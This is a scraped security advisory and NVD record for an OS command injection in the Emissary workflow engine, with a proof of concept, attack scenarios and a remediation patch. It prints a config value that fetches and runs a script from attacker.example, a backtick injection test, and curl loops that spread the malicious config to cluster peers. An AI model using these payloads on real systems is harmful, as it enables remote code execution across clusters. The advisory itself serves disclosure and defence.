ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`\n```\n\nThe marker file is created by the backtick expression firing during shell argument expansion.\n\n**Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately.\n\n**The same injection works via `OUT_FILE_ENDING` \u2192 `\u003cOUTPUT_PATH\u003e` / `\u003cOUTPUT_NAME\u003e`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.**\n\n---\n\n### Attack Scenarios\n\nEach scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.\n\n---\n\n#### Scenario A \u2014 Insider / developer with config write access\n\n**Attacker\u0027s starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.\n\n**Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change \u2014 even a code reviewer who can approve their own PR \u2014 can inject the payload.\n\n**Step 1 \u2014 Add the malicious config as a seemingly routine change**\n\nIn a PR or direct push to the config repo:\n\n```diff\n+++ b/config/emissary.place.UnixCommandPlace.cfg\n@@ -0,0 +1,10 @@\n+SERVICE_KEY     = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000\"\n+SERVICE_NAME    = \"UCP\"\n+SERVICE_TYPE    = \"TRANSFORM\"\n+PLACE_NAME      = \"UnixCommandPlace\"\n+SERVICE_COST    = 4000\n+SERVICE_QUALITY = 90\n+SERVICE_PROXY   = \"LOWER_CASE\"\n+EXEC_COMMAND    = \"cat \u003cINPUT_PATH\u003e\"\n+OUTPUT_TYPE     = \"STD\"\n+IN_FILE_ENDING  = \"`curl -s http://attacker.example/implant.sh | sh`\"\n+OUT_FILE_ENDING = \".out\"\n```\n\nThe injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.\n\n**Step 2 \u2014 Wait for the next deploy**\n\nThe next routine deploy or restart loads the config. The payload fires on the first payload processed \u2014 silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command\u0027s output).\n\n**Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` \u2014 a common operational error, not an obvious security event.\n\n---\n\n#### Scenario B \u2014 Cluster-wide propagation via the peers API\n\n**Attacker\u0027s starting position:** RCE on one node (from Scenario A).\n\n**Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster\u0027s own replication to propagate the malicious config to every peer.\n\n**Step 1 \u2014 Enumerate all cluster nodes**\n\n```bash\ncurl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n  http://compromised-node:8001/api/cluster/peers \\\n  | grep -o \u0027\"http://[^\"]*\"\u0027\n```\n\nResponse:\n```json\n{\"local\":{\"host\":\"node1:8001\",\"places\":[...]},\"peers\":[{\"host\":\"node2:8001\",...},{\"host\":\"node3:8001\",...}]}\n```\n\n**Step 2 \u2014 Push the malicious config to each peer via the Emissary API**\n\nFrom the compromised node, use the Emissary cluster API directly \u2014 no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata:\n\n```bash\n# From the shell gained in Scenario A\nPAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)\n\nfor peer in node2:8001 node3:8001 node4:8001; do\n  # Write the config file to the peer via its exposed file API\n  # (alternatively: exploit the peer\u0027s own pickup directory via the ingest API)\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST \\\n    -H \"Content-Type: text/plain\" \\\n    --data-binary \"$PAYLOAD\" \\\n    \"http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg\"\ndone\n```\n\nIf no config write API is available, the same result is achieved by dropping the payload into the peer\u0027s monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) \u2014 all of which are common Emissary deployment patterns.\n\n**Step 3 \u2014 Trigger restart on each peer via the cluster shutdown API**\n\n```bash\nfor peer in node2:8001 node3:8001 node4:8001; do\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST -H \"X-Requested-By: x\" \\\n    http://${peer}/api/shutdown\ndone\n```\n\n**Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.\n\n### Impact\n\n| Dimension | Assessment |\n|-----------|------------|\n| **Confidentiality** | **Critical** \u2014 arbitrary read of files accessible to the Emissary process |\n| **Integrity** | **Critical** \u2014 arbitrary file write, process state modification, persistence |\n| **Availability** | **Critical** \u2014 process termination, resource exhaustion |\n| **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern |\n\n---\n\n## Recommended Remediation\n\n### Primary fix \u2014 validate `inFileEnding` and `outFileEnding` on assignment\n\nApply the same allowlist pattern already used for `placeName`:\n\n```java\n// Add to Executrix.java\nprivate static final Pattern VALID_FILE_ENDING = Pattern.compile(\"^[a-zA-Z0-9._-]*$\");\n\npublic void setInFileEnding(final String argInFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"IN_FILE_ENDING contains illegal characters: \" + argInFileEnding);\n    }\n    this.inFileEnding = argInFileEnding;\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"OUT_FILE_ENDING contains illegal characters: \" + argOutFileEnding);\n    }\n    this.outFileEnding = argOutFileEnding;\n}\n```\n\nApply the same validation inside `configure()` where the values are read from the `Configurator`.\n\n### Secondary fix (defence-in-depth) \u2014 shell-quote substituted values in `getCommand()`\n\nEven if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:\n\n```java\n// In getCommand(), wrap each substituted value in single quotes\n// and escape any embedded single quotes.\n// Java string \"\u0027\\\\\u0027\u0027\u0027\" is the four characters: \u0027 \\ \u0027 \u0027\n// which at runtime produces the shell sequence: \u0027\\\u0027\u0027\n// (close quote, literal single quote, reopen quote)\nprivate static String shellQuote(String value) {\n    return \"\u0027\" + value.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\";\n}\n\n// Then:\nc = c.replace(\"\u003cINPUT_PATH\u003e\",  shellQuote(tmpNames[INPATH]));\nc = c.replace(\"\u003cOUTPUT_PATH\u003e\", shellQuote(tmpNames[OUTPATH]));\nc = c.replace(\"\u003cINPUT_NAME\u003e\",  shellQuote(tmpNames[IN]));\nc = c.replace(\"\u003cOUTPUT_NAME\u003e\", shellQuote(tmpNames[OUT]));\n```\n\n### Why this is a framework-level fix\n\nThe framework\u0027s `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.",
  "id": "GHSA-3p24-9x7v-7789",
  "modified": "2026-04-13T16:38:25Z",
  "published": "2026-04-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix"
}

FKIE_CVE-2026-35582

Vulnerability from fkie_nvd - Published: 2026-04-18 02:16 - Updated: 2026-04-18 02:16

Severity ?

8.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8
	security-advisories@github.com	https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Emissary is a P2P based data-driven workflow engine. In versions 8.42.0 and below, Executrix.getCommand() is vulnerable to OS command injection  because it interpolates temporary file paths into a /bin/sh -c shell command string without any escaping or input validation. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow directly into these paths, allowing a place author who can write or modify a .cfg file to inject arbitrary shell metacharacters that execute OS commands in the JVM process\u0027s security context. The framework already sanitizes placeName via an allowlist before embedding it in the same shell string, but applies no equivalent sanitization to file ending values. No runtime privileges beyond place configuration authorship, and no API or network access, are required to exploit this vulnerability. This is a framework-level defect with no safe mitigation available to downstream implementors, as Executrix provides neither escaping nor documented preconditions against metacharacters in file ending inputs. This issue has been fixed in version 8.43.0."
    }
  ],
  "id": "CVE-2026-35582",
  "lastModified": "2026-04-18T02:16:11.510",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-18T02:16:11.510",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        },
        {
          "lang": "en",
          "value": "CWE-116"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-35582 (GCVE-0-2026-35582)

GHSA-3P24-9X7V-7789

Summary

Root Cause

Step 1 — IN_FILE_ENDING flows into temp path construction without validation

Step 2 — The injected path is substituted verbatim into a shell string

Step 3 — setInFileEnding() and setOutFileEnding() perform no validation

Contrast: placeName is sanitized, file endings are not

Proof of Concept

PoC 1 — Docker: end-to-end attack against a live node

PoC 2 — Unit test: isolated, no server required

Attack Scenarios

Scenario A — Insider / developer with config write access

Scenario B — Cluster-wide propagation via the peers API

Impact

Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Why this is a framework-level fix

FKIE_CVE-2026-35582

Tags

Sightings

Nomenclature

Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation

Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation

Contrast: `placeName` is sanitized, file endings are not

Primary fix — validate `inFileEnding` and `outFileEnding` on assignment

Secondary fix (defence-in-depth) — shell-quote substituted values in `getCommand()`